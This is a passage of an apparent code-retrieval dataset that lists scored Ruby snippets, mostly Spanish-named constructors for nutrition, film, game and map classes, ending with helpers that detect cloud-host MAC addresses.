model)\n else\n puts \"#{building_type} model already exists, will use existing\"\n end\n return osm\nend", "title": "" }, { "docid": "c4a493e510317af5729d14acf1b13d8a", "score": "0.494282", "text": "def initialize(name,peso,talla,tricipital,bicipital,subescapular,suprailiaco,brazo,cintura,cadera,sexo,edad,actividad)\n\t\tsuper(name)\n\t\t@peso , @talla , @tricipital , @bicipital, @subescapular ,@suprailiaco , @brazo , @cintura ,@cadera, @sexo, @edad,@actividad = peso , talla , tricipital , bicipital, subescapular ,suprailiaco , brazo , cintura ,cadera, sexo, edad, actividad\n\tend", "title": "" }, { "docid": "f0287aeb418235d1cd7eb6fd80f52678", "score": "0.49177614", "text": "def to_s\n plat=\"\"\n \n plateau.each do |elm|\n elm.each do |elmt|\n plat= plat + \"#{elmt} \".chomp\n end\n plat = plat + \"\\n\"\n end\n puts plat\n end", "title": "" }, { "docid": "26eb0721f029a46d16d3b0bc89931d8c", "score": "0.4911682", "text": "def initialize(autores, titulo, publicacion, edicion) #el constructor solo contiene los elementos comunes a ambas clases hijas\n @autores = Autores_format_apa (autores)\n \n @titulo = Titulo_format_apa (titulo)\n \n @publicacion = publicacion\n @edicion = edicion\n end", "title": "" }, { "docid": "d405691616e2a9733062c9f2123b144f", "score": "0.49074298", "text": "def initialize(nombre) # inicio del constructor parametrizado espera de parametro el nombre de la persona\n @nombre = nombre # setiamos el nombre para la nueva instancia\n @@alumnos << self # acumulamos la nueva instancia en nuestra variable de clase\n end", "title": "" }, { "docid": "27e374e6f58dd4dcbfd6076268745eda", "score": "0.48791134", "text": "def initialize (nombrePlato, listaComida, listaCantidades)\n @nombrePlato, @listaComida, @listaCantidades = nombrePlato, listaComida, listaCantidades\n end", "title": "" }, { "docid": "bdcf4f0a691e4137f793f2420633ede9", "score": "0.48742267", "text": "def carregar_lotes\n @lotes_veiculos = Administracao::Lote.all.order('nome ASC').collect{|l|[\"#{l.nome} - #{l.tipo}\",l.id]}\n end", "title": "" }, { "docid": "b17720323839b734024cb7158c272a87", "score": "0.48697263", "text": "def create_array_valid_parking_names\n\t\tvalid_parking_names = [\n\t\t\t'Mediterraneo',\n\t\t\t'Europa',\n\t\t\t'Reloj',\n\t\t\t'Carrascal',\n\t\t\t'Besteiro',\n\t\t\t'Fortuna',\n\t\t\t'Central',\n\t\t\t'Miguel',\n\t\t\t'Polvoranca',\n\t\t\t'Nicasio',\n\t\t\t'Severo',\n\t\t\t'Universidad',\n\t\t\t'Valdepelayos',\n\t\t\t'Zarzaquemada'\n\t\t]\n\n\t\treturn valid_parking_names\n\tend", "title": "" }, { "docid": "03da21fe5abe6a95a97d0f3422fe1925", "score": "0.48598036", "text": "def initialize(name, apt_sqft, apt_bedrooms, apt_bathrooms)\n @name = name\n @apt_sqft = apt_sqft\n @apt_bedrooms = apt_bedrooms\n @apt_bathrooms = apt_bathrooms\n @renter = []\n end", "title": "" }, { "docid": "e9f01528fd464d367e84db0c29f75156", "score": "0.48561022", "text": "def initialize\n @palavras = []\n end", "title": "" }, { "docid": "d9b336a2f06895e77ebb066f6ab6035b", "score": "0.48541135", "text": "def create_building(id,name,floors,apts_by_floor)\n building = insert_building(id,name,floors,apts_by_floor)\n create_apartments(floors,apts_by_floor,building.id)\n building\n\n end", "title": "" }, { "docid": "2da3c1690127f46a267870af0a64ce00", "score": "0.48512462", "text": "def initialize(nombre, alimentos, gramos)\n @nombre, @alimentos, @gramos = nombre, alimentos, gramos\n end", "title": "" }, { "docid": "3e34d22492d58b6f54e67ff0275982fd", "score": "0.48480588", "text": "def initialize(nombre, grasas, grasasSaturadas, hidratosDeCarbono, \n azucares, proteinas, sal, grasasMonoinsaturadas, \n grasasPoliinsaturadas, polialcoholes, almidon, fibraAlimentaria, \n vitaminas, minerales)\n\n\t\t@nombre = nombre\n\t\t@grasas = grasas\n\t\t@grasasSaturadas = grasasSaturadas\n\t\t@hidratosDeCarbono = hidratosDeCarbono\n\t\t@azucares = azucares\n\t\t@proteinas = proteinas\n\t\t@sal = sal\n\t\t@grasasMonoinsaturadas = grasasMonoinsaturadas\n\t\t@grasasPoliinsaturadas = grasasPoliinsaturadas\n\t\t@polialcoholes = polialcoholes\n\t\t@almidon = almidon\n\t\t@fibraAlimentaria = fibraAlimentaria\n\t\t@vitaminas = vitaminas\n\t\t@minerales = minerales\n\n\t\t@porciones = 1\n\t\t@cantidadPorPorcion = 100.0\n\tend", "title": "" }, { "docid": "771496fee72215751eca0d4aaad4dc41", "score": "0.4845597", "text": "def initialize(name, location)\n @name = name\n @location = location\n # Add each instance to the array.\n ZOOS << self\n end", "title": "" }, { "docid": "aa07ebbed08cb3a519738c77877db0b6", "score": "0.4843769", "text": "def create_rover_spawn_and_instructions_arrays\n format_instructions\n create_arrays_of_parameters_and_instructions\n end", "title": "" }, { "docid": "c8ca9bfcf9d9d3c034d7f3edb8f27f2a", "score": "0.48353466", "text": "def initialize\n @sloth_array = [\"Crushing Cuddle\", \"Slap attack\", \"Sloth smash\", \"Flying Round-house to the groin\"]\n @llama_array = [\"Spinning back kick to the face\", \"Llama Stomp\", \"Dramatic Head-Butt\", \"Wild bite to sloths swingin arm\"]\n @ascii = LlamaWarriors.new\n end", "title": "" }, { "docid": "2e34936e23106ebdc8e4d81e8c3cfa48", "score": "0.48321667", "text": "def initialize(nombre, proteinas, glucidos, grasas, datos=nil)\n \n @nombre = nombre\n @glucidos = glucidos\n @proteinas = proteinas\n @grasas = grasas\n @datos = datos\n \n end", "title": "" }, { "docid": "04e963115757be614e07f63a5c81a58e", "score": "0.48306537", "text": "def initialize (nombre, grasas, grasasSat, hidratos, azucares, proteinas, sal)\n @nombre = nombre\n @grasas = grasas\n @grasasSat = grasasSat\n @hidratos = hidratos\n @azucares = azucares\n @proteinas = proteinas\n @sal = sal\n end", "title": "" }, { "docid": "f6c42d395ca948006ec24f1a83958c63", "score": "0.48171967", "text": "def initialize (nombre, prot, gluc, lip)\n @nombre = nombre # Nombre de los alimentos\n @prot = prot # Datos del nivel de proteinas del alimento\n @gluc = gluc # Datos del nivel de glúcidos del alimento\n @lip = lip # Datos del nivel de lípidos del alimento\n end", "title": "" }, { "docid": "4a0ce2031fde19632af83a3e6d66e002", "score": "0.48163232", "text": "def all_plate\n k=0\n men =\"\"\n @menu.each do\n men << \"#{@menu[k]} - \"\n k+=1\n end\n men\n end", "title": "" }, { "docid": "8061e365bf5004fe2bd9394f598680ed", "score": "0.48163038", "text": "def create_satellite name, composite\n mapping = @constellation.Mapping(:new, name: name, object_type: composite.mapping.object_type)\n @constellation.Composite(mapping, composition: @composition)\n end", "title": "" }, { "docid": "f0f69775e983841703ddc5b1f44bebbc", "score": "0.4814613", "text": "def initialize(nombre, grasas, g_sat, h_car, azucar, proteina, sal)\n @nombre = nombre\n @grasas = grasas\n @g_sat = g_sat\n @h_car = h_car\n @azucar = azucar\n @proteina = proteina\n @sal = sal\n end", "title": "" }, { "docid": "6512a7842a292e01224c376aa63cd63a", "score": "0.4813088", "text": "def nueva_pelicula(titulo, tituloOriginal, añoEstreno, duracion, guion, musica, pais, webOficial, productora, sinopsis, recaudacion)\n\n existe = existe_pelicula(titulo);\n \n if existe\n raise \"Esa película ya está incluida en el sistema\"\n else\n \n pelicula = Pelicula.new(titulo, tituloOriginal, añoEstreno, duracion, guion, musica, pais, webOficial, productora, sinopsis, recaudacion)\n\n incluir_pelicula(pelicula) \n \n end\n \n end", "title": "" }, { "docid": "9f5e66b86ad96bb6f1454974a390a601", "score": "0.48080376", "text": "def initialize name, shape=\"oblate spheroid\"\n @name = name\n @shape = shape\n @people = []\n @hip_hop_name = \"DJ #{@name}\"\n end", "title": "" }, { "docid": "bba7c6513c12033de381bcbadf904b72", "score": "0.4807858", "text": "def initialize name\n @name, @classrooms = name, []\n end", "title": "" }, { "docid": "eb888f2c05f285c71886a2456f9bf2d9", "score": "0.48005387", "text": "def initialize(name)\n @nombre = name #las varaibles de instancias inician con un @\n # puts @nombre\n #estas variables puedes ser accedidas desde cuaquier parte del objeto\n end", "title": "" }, { "docid": "a23526c4df303588ca85644142275688", "score": "0.47927967", "text": "def crear\n @formularios = Formulariocontacto.new\n end", "title": "" }, { "docid": "013586c21715e985aff115300f5834fa", "score": "0.4792379", "text": "def reconstruir_palabras\n palabras = []\n @trie.reconstruir_palabras_nodo('', palabras)\n palabras\n end", "title": "" }, { "docid": "b709f7ee6386c5629535f538930eebcc", "score": "0.47718862", "text": "def create_names_and_symbols\n name = ask_4_name\n sym = ask_4_symbol\n :player_instance = Player.new(name,sym)\n sym == 'X' ? :computer_instance = Computer.new('O') : :computer_instance = Computer.new('X')\n end", "title": "" }, { "docid": "0f8d8b3efe0de4a95797185ed90ec79d", "score": "0.4771068", "text": "def new\n @hemo_lunar = @pacient.hemo_lunars.new\n end", "title": "" }, { "docid": "bf0c1d7e1b10b6d09af00093670c6b1f", "score": "0.4770769", "text": "def initialize angulo=90, punto=Punto.new(0, 0), ojo=true\n # Por defecto la tortuga empieza en la posicion (0, 0), mirando hacia arriba (angulo = 90),\n # y ojo para marcar los pasos activado\n @angulo = angulo\n @punto = punto\n @ojo = ojo\n end", "title": "" }, { "docid": "ee2df842cddd92f4c355d4191d83e113", "score": "0.4768842", "text": "def accionCreateRoom(comando,usuariosLista,socketUsuario)\n orden=comando.split(\" \")\n usr=buscaUsuarioPorSocket(usuariosLista,socketUsuario)\n if (usr.equal? nil)\n socketUsuario.puts \"Debes identificarte primero con \\\"IDENTIFY nombre\\\"\"\n elsif(orden[1]==nil)\n socketUsuario.puts \"Debes ingresar un nombre para tu sala\"\n elsif(existeSala?(orden[1]))\n socketUsuario.puts \"El nombre de esta sala ya esta ocupado\"\n else\n listaSala=[]\n accionIdentify(\"_ [#{orden[1]}]#{usr.name}\",listaSala,socketUsuario)\n salaNueva=Sala.new(orden[1],listaSala)\n @@rooms.push salaNueva\n socketUsuario.puts \"Has creado una sala: #{orden[1]}\"\n end\n end", "title": "" }, { "docid": "56739a9298ce39b9538fbc9387f944c3", "score": "0.47667435", "text": "def initialize (grupo,nombre,proteinas,glucidos,grasas)\n super(nombre,proteinas,glucidos,grasas,[])\n @grupo = grupo\n end", "title": "" }, { "docid": "77bf554d5dfb3fff20183e6cfe1f4bde", "score": "0.4765706", "text": "def generate_platform (items, image, x, y)\n items << Platform.new(image, x, y)\n end", "title": "" }, { "docid": "95fb06adfbef59229e66fdc5d7d3897f", "score": "0.47607905", "text": "def main_room\n main = L.new do |l|\n l.name = \"in the Main Room\"\n l.items = [Radio.new]\n end\n\n main.east = L.new do |l|\n l.name = \"in the East Room\"\n l.items = [BallaAssSpoon.new, CrystalBall.new]\n end\n\n dungeon = main.east.south = L.new do |l|\n l.name = \"a creepy dungeon\"\n end\n\n dungeon.south = L.new do |l|\n l.name = \"Hell\"\n end\n\n west_room = main.west = L.new do |l|\n l.name = \"the West Room\"\n end\n\n far_west = west_room.west = L.new do |l|\n l.name = \"the Far West Room\"\n end\n\n far_west.north = L.new do |l|\n l.name = \"the North West Room\"\n end\n\n return main\n end", "title": "" }, { "docid": "dd6f0bfbc49e8d1e4e55bed3a5d4356e", "score": "0.47581977", "text": "def make_new_plate(c_type, label_plate = true)\n working_plate = Collection.new_collection(c_type)\n get_and_label_new_plate(working_plate) if label_plate\n return working_plate\n end", "title": "" }, { "docid": "37d1e0f8066ea262ef9c57149fd643af", "score": "0.47560176", "text": "def initialize(placa, color,modelo)\n\n @placa = placa\n @color = color\n @modelo = modelo\n end", "title": "" }, { "docid": "cee26a8b2561256a60ed10d7cee3e34a", "score": "0.47472727", "text": "def make_airports\n AIRPORTS.each do |a|\n Airport.create!(\n :name => a[0], \n :abbreviation => a[1],\n :latitude => a[2],\n :longitude => a[3]\n )\n end\n end", "title": "" }, { "docid": "805964c8984d1990370dc81b0687780e", "score": "0.4742262", "text": "def initialize( nombre, listaAlimentos, listaGramos )\n\n @nombre = nombre\n if listaAlimentos.kind_of?( Lista )\n @listaAlimentos = listaAlimentos\n else\n @listaAlimentos = Lista.new( listaAlimentos )\n end\n if listaGramos.kind_of?( Lista )\n @listaGramos = listaGramos\n else\n @listaGramos = Lista.new( listaGramos )\n end\n @vct = vctCalculo\n @porcenProteinas = proteinasCalculo\n @porcenLipidos = lipidosCalculo\n @porcenHidratos = hidratosCalculo\n end", "title": "" }, { "docid": "dc2a72f6a0ecd17fe2435e30b83d22d6", "score": "0.47392505", "text": "def nombre_y_apellido\n \t\tnombres = primer_nombre ? primer_nombre.squeeze(\" \") + ' ' : ''\n \t\tnombres += primer_apellido ? primer_apellido.squeeze(\" \") : ''\n end", "title": "" }, { "docid": "0d83f39a7621b91427e8cd075f73cb73", "score": "0.47344723", "text": "def create_from_name\n @ort = Ort.new(:name => params[:name])\n set_anlage_umschlag_beobachtung\n respond_to do |format|\n if @ort.save\n @objekt = save_anlage_umschlag_beobachtung\n flash[:success] = 'Der Ort wurde erfolgreich erstellt.'\n format.html { redirect_to @objekt }\n format.json { render :show, status: :created, location: @ort }\n else\n flash[:danger] = 'Ort konnte nicht gespeichert werden, bitte Namen verändern.'\n format.html { render :new }\n format.json { render json: @ort.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a9698ecd4e30ce726f2610fdd4f302b2", "score": "0.47310063", "text": "def papel\n @eleccion= Papel.new\n end", "title": "" }, { "docid": "1baf133133d6afc2d8cd6920a74e304e", "score": "0.47242153", "text": "def init_armor\n\t\t@armor = []\n\t\tarmor_array = IO.readlines(\"armor.txt\")\n\t\tarmor_array.each do |item|\n\t\t\tnewitem = item.split(', ')\n\t\t\t@armor.push(Armor.new(newitem[0], newitem[1], newitem[2], newitem[3], newitem[4], newitem[5].chomp))\n\t\tend\n\tend", "title": "" }, { "docid": "b635b728c603e44787f5d7369f5f8274", "score": "0.47236538", "text": "def initialize(autores, titulo, publicacion, edicion) #el constructor solo contiene los elementos comunes a ambas clases hijas\n @autores = autores\n @titulo = titulo\n @publicacion = publicacion\n @edicion = edicion\n end", "title": "" }, { "docid": "03933249fca47d043e00287115991a08", "score": "0.4721716", "text": "def create_person\n\tputs \"What is the name of the occupant?\"\n\tname = gets.chomp.downcase\n\tputs \"What is the age of the occupant?\"\n\tage = gets.chomp.downcase\n\tputs \"What is the gender of the occupant?\"\n\tgender = gets.chomp.downcase\n\tputs \"What apartment does he/she live in?\"\n\tapartment = gets.chomp.downcase\n\tperson = Person.new(name, age, gender, apartment)\n\t$best_building.apartments[apartment].renters.push(person)\nend", "title": "" }, { "docid": "956ce217ca9d608ebc8c3db61a220319", "score": "0.47190028", "text": "def setup_art\n @art_options = @options.map do |option|\n option_text = option.split(' ').join(' ')\n\n RawGraphic.new(Artii::Base.new.asciify(option_text))\n end\n\n title_text = @title.split(' ').map do |word|\n word.chars.map { |letter| letter + ' ' }.join\n end.join(' ')\n\n @art_title = Artii::Base.new.asciify(title_text)\n @title_graphic = RawGraphic.new(@art_title, TEXT_FAIL)\n end", "title": "" }, { "docid": "1111e9f8508ace7e63fcf89f049435a3", "score": "0.47176656", "text": "def initialize(name)\n\t\t@id = $WORLDS.length\n\t\t@x = $RAND.rand(21)\n\t\t@y = $RAND.rand(11)\n\t\t@color = @@colors[$RAND.rand(8)]\n\t\t@maps = [$maps[-2]]\n\t\t$SPACE[@y][@x] = @id\n\t\t@mg = MapGenerator.new\n\t\tfor m in 3..6\n\t\t\t@maps.push(@mg.generate(-m,20,m-3,100))\n\t\tend\n\tend", "title": "" }, { "docid": "0c7c6fa92ac6384b1f0c0ab3560322ff", "score": "0.47147098", "text": "def create\r\n \"new Mapstraction(\\\"#{@container}\\\",\\\"#{@map_type.to_s}\\\")\"\r\n end", "title": "" }, { "docid": "c22d2dd090bd12fccddc4763b0a0fd7a", "score": "0.4710919", "text": "def instantiate_elements(dsl) \n @grid.clear_tiles\n grid_y = 0\n grid_x = 0\n dsl.each do |line|\n index = 0\n while index < line.size\n char = line[index]\n #puts \"#{grid_x},#{grid_y} = #{char}\"\n img = nil\n if char == \"B\"\n img = Brick.new(@blue_brick)\n elsif char == \"W\"\n img = Wall0.new(@red_wall)\n elsif char == \"Y\"\n img = Dot.new(@yellow_dot)\n elsif char == \"G\"\n img = Dot.new(@green_dot)\n elsif char == \"F\"\n img = OutOfBounds.new(@fire_transition_tile)\n elsif char == \"T\"\n img = DiagonalWall.new(@red_wall_nw, QUAD_NW)\n elsif char == \"V\"\n img = DiagonalWall.new(@red_wall_ne, QUAD_NE)\n elsif char == \"X\"\n img = DiagonalWall.new(@red_wall_sw, QUAD_SW)\n elsif char == \"Z\"\n img = DiagonalWall.new(@red_wall_se, QUAD_SE)\n elsif char == \"E\"\n img = GoalArea.new(@goal_tile)\n elsif char == \"N\"\n img = BackgroundArea.new(@tree_tile)\n elsif char == \"D\"\n img = BackgroundArea.new(@torch_tile)\n elsif char == \"O\"\n img = OneWayDoor.new(@one_way_tile, @red_wall)\n @one_way_doors << img\n end\n \n if img.nil?\n # nothing to do\n else\n @grid.set_tile(grid_x, grid_y, img)\n end\n\n grid_x = grid_x + 1\n index = index + 1\n end\n grid_x = 0\n grid_y = grid_y + 1\n end\n end", "title": "" }, { "docid": "09f5e43c8c5fbd46d567ac24b444e6df", "score": "0.47095692", "text": "def create_players\r\n\t\t@players = [Player.new(\"North\"), Player.new(\"East\"),\r\n\t\t\t\t\tPlayer.new(\"South\"), Player.new(\"West\")]\r\n\tend", "title": "" }, { "docid": "cd153cd9a78b42647bcc95242bf43e30", "score": "0.47026575", "text": "def create\n authorize!(:edit, Heb412Gen::Plantillahcr)\n @plantillahcr = Heb412Gen::Plantillahcr.new(plantillahcr_params)\n if !@plantillahcr.nombremenu && @plantillahcr.ruta\n @plantillahcr.nombremenu = File.basename(@plantillahcr.ruta)\n end\n create_gen(@plantillahcr)\n end", "title": "" }, { "docid": "e889a9ec2bb5c5f57c821c6fbd2fe679", "score": "0.4699084", "text": "def generate_arpa_list\n arpas = []\n if @config.has_key?('arpa')\n @config['arpa'].each do |cfg|\n opts = symbolize(cfg)\n soa = generate_soa(opts[:name])\n opts[:soa] = soa\n an = Arpa.new(opts)\n arpas << an\n @nameservers.each do |ns|\n an.add_record(Record.new(:name => '@', :type => 'NS', :data => ns.name + \".#{@name}.\" ))\n end\n @machines.each do |machine|\n an.add(machine,@name)\n end\n end\n end\n arpas\n end", "title": "" }, { "docid": "fdd8f361e27003effc27abc16ab6412e", "score": "0.4698697", "text": "def criar\n\n\tend", "title": "" }, { "docid": "a673b39abd1be5fbaa6d70b55d01f6e2", "score": "0.46963042", "text": "def generate_locations\n\t\ta0 = Location.new\n\t\ta0.name = \"Earf\"\n\t\ta0.posx = 0\n\t\ta0.posy = 0\n\t\ta0.map_id = id\n\t\ta0.homeworld = match.get_first_team.id\n\t\ta0.save\n\t\t\n\t\tc0 = Location.new\n\t\tc0.name = \"Hoth\"\n\t\tc0.posx = 0\n\t\tc0.posy = 2\n\t\tc0.map_id = id\n\t\tc0.save\n\t\t\n\t\tf0 = Location.new\n\t\tf0.name = \"Fhloston\"\n\t\tf0.posx = 0\n\t\tf0.posy = 5\n\t\tf0.map_id = id\n\t\tf0.save\n\t\t\n\t\th0 = Location.new\n\t\th0.name = \"Site P\"\n\t\th0.posx = 0\n\t\th0.posy = 7\n\t\th0.map_id = id\n\t\th0.save\n\t\t\n\t\td2 = Location.new\n\t\td2.name = \"LV-426\"\n\t\td2.posx = 2\n\t\td2.posy = 3\n\t\td2.map_id = id\n\t\td2.save\n\t\t\n\t\tg2 = Location.new\n\t\tg2.name = \"Alderaan\"\n\t\tg2.posx = 2\n\t\tg2.posy = 6\n\t\tg2.map_id = id\n\t\tg2.save\t\t\n\t\t\n\t\ta3 = Location.new\n\t\ta3.name = \"Mar Sera\"\n\t\ta3.posx = 3\n\t\ta3.posy = 0\n\t\ta3.map_id = id\n\t\ta3.save\n\t\t\n\t\tf3 = Location.new\n\t\tf3.name = \"Thundara\"\n\t\tf3.posx = 3\n\t\tf3.posy = 5\n\t\tf3.map_id = id\n\t\tf3.save\n\t\t\n\t\tc4 = Location.new\n\t\tc4.name = \"Asteroid M\"\n\t\tc4.posx = 4\n\t\tc4.posy = 2\n\t\tc4.map_id = id\n\t\tc4.save\n\t\t\n\t\th4 = Location.new\n\t\th4.name = \"Caprica\"\n\t\th4.posx = 4\n\t\th4.posy = 7\n\t\th4.map_id = id\n\t\th4.save\n\t\t\n\t\tb5 = Location.new\n\t\tb5.name = \"Miranda\"\n\t\tb5.posx = 5\n\t\tb5.posy = 1\n\t\tb5.map_id = id\n\t\tb5.save\n\t\t\n\t\te5 = Location.new\n\t\te5.name = \"Outland\"\n\t\te5.posx = 5\n\t\te5.posy = 4\n\t\te5.map_id = id\n\t\te5.save\n\t\t\n\t\ta7 = Location.new\n\t\ta7.name = \"Betelgeuse Five\"\n\t\ta7.posx = 7\n\t\ta7.posy = 0\n\t\ta7.map_id = id\n\t\ta7.save\n\t\t\n\t\tc7 = Location.new\n\t\tc7.name = \"Xoth\"\n\t\tc7.posx = 7\n\t\tc7.posy = 2\n\t\tc7.map_id = id\n\t\tc7.save\t\t\n\t\t\n\t\tf7 = Location.new\n\t\tf7.name = \"Krypton\"\n\t\tf7.posx = 7\n\t\tf7.posy = 5\n\t\tf7.map_id = id\n\t\tf7.save\n\t\t\n\t\th7 = Location.new\n\t\th7.name = \"Eternia\"\n\t\th7.posx = 7\n\t\th7.posy = 7\n\t\th7.map_id = id\n\t\th7.homeworld = match.get_other_team.id\n\t\th7.save\n\t\t\n\t\ta0c0 = LocationLink.new\n\t\ta0c0.origin = a0\n\t\ta0c0.destination = c0\n\t\ta0c0.save\n\t\t\n\t\tc0f0 = LocationLink.new\n\t\tc0f0.origin = c0\n\t\tc0f0.destination = f0\n\t\tc0f0.save\n\t\t\n\t\tf0h0 = LocationLink.new\n\t\tf0h0.origin = f0\n\t\tf0h0.destination = h0\n\t\tf0h0.save\n\t\t\n\t\ta0a3 = LocationLink.new\n\t\ta0a3.origin = a0\n\t\ta0a3.destination = a3\n\t\ta0a3.save\n\t\t\n\t\tc0d2 = LocationLink.new\n\t\tc0d2.origin = c0\n\t\tc0d2.destination = d2\n\t\tc0d2.save\n\t\t\n\t\tf0d2 = LocationLink.new\n\t\tf0d2.origin = f0\n\t\tf0d2.destination = d2\n\t\tf0d2.save\n\t\t\n\t\tf0g2 = LocationLink.new\n\t\tf0g2.origin = f0\n\t\tf0g2.destination = g2\n\t\tf0g2.save\n\t\t\n\t\th0h4 = LocationLink.new\n\t\th0h4.origin = h0\n\t\th0h4.destination = h4\n\t\th0h4.save\n\t\t\n\t\tg2h4 = LocationLink.new\n\t\tg2h4.origin = g2\n\t\tg2h4.destination = h4\n\t\tg2h4.save\n\t\t\n\t\tg2f3 = LocationLink.new\n\t\tg2f3.origin = g2\n\t\tg2f3.destination = f3\n\t\tg2f3.save\n\t\t\n\t\td2f3 = LocationLink.new\n\t\td2f3.origin = d2\n\t\td2f3.destination = f3\n\t\td2f3.save\n\t\t\n\t\tf3h4 = LocationLink.new\n\t\tf3h4.origin = f3\n\t\tf3h4.destination = h4\n\t\tf3h4.save\n\t\t\n\t\tf3e5 = LocationLink.new\n\t\tf3e5.origin = f3\n\t\tf3e5.destination = e5\n\t\tf3e5.save\t\t\n\t\t\n\t\td2c4 = LocationLink.new\n\t\td2c4.origin = d2\n\t\td2c4.destination = c4\n\t\td2c4.save\n\t\t\n\t\ta3c4 = LocationLink.new\n\t\ta3c4.origin = a3\n\t\ta3c4.destination = c4\n\t\ta3c4.save\n\t\t\n\t\ta3b5 = LocationLink.new\n\t\ta3b5.origin = a3\n\t\ta3b5.destination = b5\n\t\ta3b5.save\n\t\t\n\t\tc4b5 = LocationLink.new\n\t\tc4b5.origin = c4\n\t\tc4b5.destination = b5\n\t\tc4b5.save\n\t\t\n\t\tc4e5 = LocationLink.new\n\t\tc4e5.origin = c4\n\t\tc4e5.destination = e5\n\t\tc4e5.save\n\t\t\n\t\tb5c7 = LocationLink.new\n\t\tb5c7.origin = b5\n\t\tb5c7.destination = c7\n\t\tb5c7.save\n\t\t\n\t\te5c7 = LocationLink.new\n\t\te5c7.origin = e5\n\t\te5c7.destination = c7\n\t\te5c7.save\n\t\t\n\t\ta3a7 = LocationLink.new\n\t\ta3a7.origin = a3\n\t\ta3a7.destination = a7\n\t\ta3a7.save\n\t\t\n\t\ta7c7 = LocationLink.new\n\t\ta7c7.origin = a7\n\t\ta7c7.destination = c7\n\t\ta7c7.save\n\t\t\n\t\tc7f7 = LocationLink.new\n\t\tc7f7.origin = c7\n\t\tc7f7.destination = f7\n\t\tc7f7.save\n\t\t\n\t\te5f7 = LocationLink.new\n\t\te5f7.origin = e5\n\t\te5f7.destination = f7\n\t\te5f7.save\n\t\t\n\t\tf7h7 = LocationLink.new\n\t\tf7h7.origin = f7\n\t\tf7h7.destination = h7\n\t\tf7h7.save\n\t\t\n\t\th4h7 = LocationLink.new\n\t\th4h7.origin = h4\n\t\th4h7.destination = h7\n\t\th4h7.save\t\n\tend", "title": "" }, { "docid": "37e1920383cf104fb2e7f48186a34aaa", "score": "0.46914506", "text": "def instanciar_entrenadores\n instancias_entrenadores = []\n entrenadores = CSV.read \"data/entrenadores.csv\"\n entrenadores.shift\n \n pokemones = CSV.read \"data/pokemon.csv\"\n pokemones.shift\n \n entrenadores.each do |entrenador_info|\n entrenador = Entrenador.new entrenador_info[0], entrenador_info[1]\n ids_pokemon = entrenador_info[2, 6]\n pokemones_info = pokemones.filter { |p| ids_pokemon.include?(p[0])}\n ids_pokemon.each do |id_pok|\n entrenador.agregar_pokemon Pokemon.new *pokemones_info.find { |p| p[0] == id_pok } # el operador * separa el arreglo. en este caso separa el arreglo en 6 variables (porque el arreglo es de largo 6)\n end\n instancias_entrenadores << entrenador\n end\n instancias_entrenadores\n end", "title": "" }, { "docid": "de7ef4f0aa738c39f6dd4911cb52198c", "score": "0.4688714", "text": "def creando_producto\n\t\tproductos = []\n\t\tputs \"Create a new product\"\n\t\ttext = gets.chomp\n\t\tproductos << text\n\t\tputs \"Now set price\"\n\t\ttext = gets.chomp\n\t\tproductos << text\n\t\tputs \"Product created\"\n\t\tproductos\n\tend", "title": "" }, { "docid": "23292a50c277d77a569176a5446f6524", "score": "0.4685989", "text": "def build_named(name)\n if prop = @resource[name.intern]\n [name] + prop.collect { |p| p.split(' ') }.flatten\n else\n []\n end\n end", "title": "" } ]
eed64746fac8f2dc0a2c5d85f6888002
Test if this host has a mac address used by OpenStack, which normally starts with 02:16:3E
[ { "docid": "1b6926b570f03000c4f9be08818e90b7", "score": "0.8112354", "text": "def has_openstack_mac?\n !!(Facter.value(:macaddress) =~ %r{^02:16:3[eE]})\n end", "title": "" } ]
[ { "docid": "ca46623ec10bf043fa1dc9cd2d2f7d72", "score": "0.7811965", "text": "def has_euca_mac?\n !!(Facter.value(:macaddress) =~ %r{^[dD]0:0[dD]:})\n end", "title": "" }, { "docid": "39eed9661d2bd30dd6d5d57752a41e51", "score": "0.7381242", "text": "def has_rackspace_mac? \n network[:interfaces].values.each do |iface|\n unless iface[:arp].nil?\n return true if iface[:arp].value?(\"00:00:0c:07:ac:01\")\n end\n end\n false\nend", "title": "" }, { "docid": "aafda0304b4ec435f39c5ff1c0a02301", "score": "0.72995836", "text": "def mac?\n @mac\n end", "title": "" }, { "docid": "3a12b3c8f1118b4486d07921ef26d05e", "score": "0.724893", "text": "def mac?\n mac_internal?\n end", "title": "" }, { "docid": "6aa1145cd9274b1442b38a82162931cb", "score": "0.718181", "text": "def correct_mac_address?\n Mac.addr.list.include?(self[:mac_address]) || self[:mac_address] == OPEN_MAC_ADDRESS\n end", "title": "" }, { "docid": "eee1f808ca1e729dbc4f2760d1278ead", "score": "0.70595706", "text": "def mac_addr\n if (mac_addr = @host.at('tag[name=mac-addr]'))\n mac_addr.inner_text\n end\n end", "title": "" }, { "docid": "5b949fd3e48bd025ec7f716c44cb4591", "score": "0.6797922", "text": "def has_openstack_mac?\n Facter.warnonce(\"#{self}.#{__method__} is deprecated; see the Facter::EC2 classes instead\")\n !!(Facter.value(:macaddress) =~ %r{^(02|[fF][aA]):16:3[eE]})\n end", "title": "" }, { "docid": "478068b026ee82b469468f3213db791c", "score": "0.67942274", "text": "def tap_mac\n\t\t@sock.local_address.to_sockaddr[-6,6]\n\tend", "title": "" }, { "docid": "478068b026ee82b469468f3213db791c", "score": "0.67942274", "text": "def tap_mac\n\t\t@sock.local_address.to_sockaddr[-6,6]\n\tend", "title": "" }, { "docid": "cc3ec3a806e843c2560aaf7cc620fcdf", "score": "0.6766326", "text": "def mac_eth0\n eth0.mac_address\n end", "title": "" }, { "docid": "cae8dd1010b53b778f869bb60cf09ada", "score": "0.6763562", "text": "def tap_mac\n @sock.local_address.to_sockaddr[-6, 6]\n end", "title": "" }, { "docid": "be0b4d5bdc1289aa3badaa402d24563b", "score": "0.6753116", "text": "def mac\n File.open(\"/sys/class/net/#{@name}/address\") do |f|\n f.read.chomp\n end\n end", "title": "" }, { "docid": "d14ec8324e9c0c853c50f3dfbf00f5ce", "score": "0.6741839", "text": "def mac_address_given?\n if new_resource.mac_address\n raise \"new_resource.mac_address was given and is invalid\" unless valid_mac?(new_resource.mac_address)\n end\n if valid_mac?(new_resource.name)\n return \"name\" if name_and_mac_both_given_and_match?\n elsif new_resource.mac_address\n return \"mac_addr\"\n else\n return false\n end\n end", "title": "" }, { "docid": "1ab032f89f33315a5654235eeb3123fc", "score": "0.6740329", "text": "def has_euca_mac?\n Facter.warnonce(\"#{self}.#{__method__} is deprecated; see the Facter::EC2 classes instead\")\n !!(Facter.value(:macaddress) =~ %r{^[dD]0:0[dD]:})\n end", "title": "" }, { "docid": 